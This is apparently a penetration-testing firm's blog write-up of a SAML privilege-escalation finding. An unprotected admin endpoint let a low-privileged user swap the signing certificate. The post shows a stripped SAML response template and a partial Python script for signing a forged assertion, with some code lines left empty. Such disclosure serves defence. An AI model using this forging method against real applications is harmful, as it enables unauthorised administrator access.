SAML Shenanigans


March 2023 - With single sign-on becoming more common during our assessments, we cover one of the vulnerabilities we discovered during an engagement that let us forge SAML responses to escalate privileges in a web application.
About Ruptura InfoSecurity​
Ruptura InfoSecurity are a fully accredited and trusted UK based cyber security provider. You can rest assured that our technical cyber security expertise and level of service is second to none.

What's SAML?

Security Assertion Markup Language (SAML) is an open standard for managing authentication and authorisation to and from third party identity providers. In essence, if your web application wants to add support for logging in via Microsoft’s SSO (and in the words of the BBC, other brands are available), you can utilise SAML to communicate between your application and Microsoft to ensure Microsoft has successfully authenticated your customer. We’ll briefly look at how SAML works, and how we were able to escalate privileges to a system administrator during a security assessment due to a missing authorisation check.

How SAML Works

SAML is a mishmash of various standards, including XML, XML schemas, XML signatures, and HTTP. The flow for authenticating a user using SAML looks like this:

This flow is similar to OAuth, but essentially, your user visits your application, they are then redirected to the identity provider (e.g. Microsoft) where they log in. Once logged in, Microsoft responds with a XML document containing information about your user such as their email address and your user forwards that information onto you. Your web application then verifies the signature (which prevents you from modifying your user details) and then considers your user to be authenticated. 

The most important feature is that signature stored within the XML document. This ensures that your user cannot modify the payload and impersonate another user. The image below shows an example SAML response for a user logging in via Azure SSO. We can see the signature and the details of the user, in this case an email address and a unique identifier for the user:

Using this signature and the attributes of our user, we know that the user “” successfully authenticated to Microsoft and we can trust the SAML response. For our web application, we have the X.509 public key provided by Microsoft for which they sign responses for our application. So, what happens when that X.509 public key is controlled by an attacker?

SAML Shenanigans

During testing our application, we identified that the endpoint “/api/admin/authentication-configuration” did not implement any access controls. As a result, we could modify the authentication configuration of the application, including the ability to modify the SAML signature certificate used to verify SAML responses, as a low privileged user on the application. Uh oh!

We instantly looked to develop a proof of concept for this. To start out, I took a stripped down version of a SAML response, removing most of the attributes that weren’t validated by the application:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion"></Issuer>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
<Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" IssueInstant="2023-05-23T11:16:57.600Z" Version="2.0">
<Signature xmlns="" Id="placeholder"></Signature>
<NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"></NameID>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData NotOnOrAfter="2025-05-23T00:00:00.000Z"/>
<Conditions NotBefore="2023-05-23T00:00:00.000Z" NotOnOrAfter="2025-05-23T00:00:00.000Z">
<Attribute Name="">

I then wrote a small Python script which takes in my own private key to sign the document. The Python script is fairly self-explanatory, fetching the content of the key, certificate, and the XML document above, signing it using the same algorithm that Microsoft uses to sign their SAML responses, and saving the signed XML document to it’s own file:

					from lxml import etree
import signxml
import base64
import urllib.parse

with open("cert.pem") as cert_file, open("key.pem") as key_file, open("body.xml", "rb") as xml_file:
    cert =
    key =
    data_to_sign =

signer = signxml.XMLSigner()
ns = {None: signer.namespaces['ds']}
signer.namespaces = ns
signer.c14n_alg = signxml.algorithms.CanonicalizationMethod.EXCLUSIVE_XML_CANONICALIZATION_1_0

root = etree.fromstring(data_to_sign)
signed_root = signer.sign(root, key=key, cert=cert)

with open("signed.xml", "w") as signed_file:

The result then looks similar to the response from Microsoft, with the `Signature` tag containing the signature of the document created using my private key. Using the endpoint with the broken access control, I updated the application to use my own public key and finally intercepted the original login flow and replaced the SAML response from Microsoft and if by magic…

In Conclusion...

SAML is a super easy way to integrate various SSO implementations, but any authentication implementation is only as good as the weakest link in the chain. This vulnerability was only possible due to missing authorisation checks elsewhere in the program – there was nothing wrong with the implementation of SAML but being able to change the certificate and escalate privileges due to missing a small authentication check was just too interesting to not write about. 

If you are concerned about SAML or the risk that your applications pose to your business and clients, please do consider reaching out and using our web application penetration testing service.


Ruptura InfoSecurity are a UK based cyber security provider. Our services are provided entirely in-house and are fully accredited by industry standard qualifications and standards.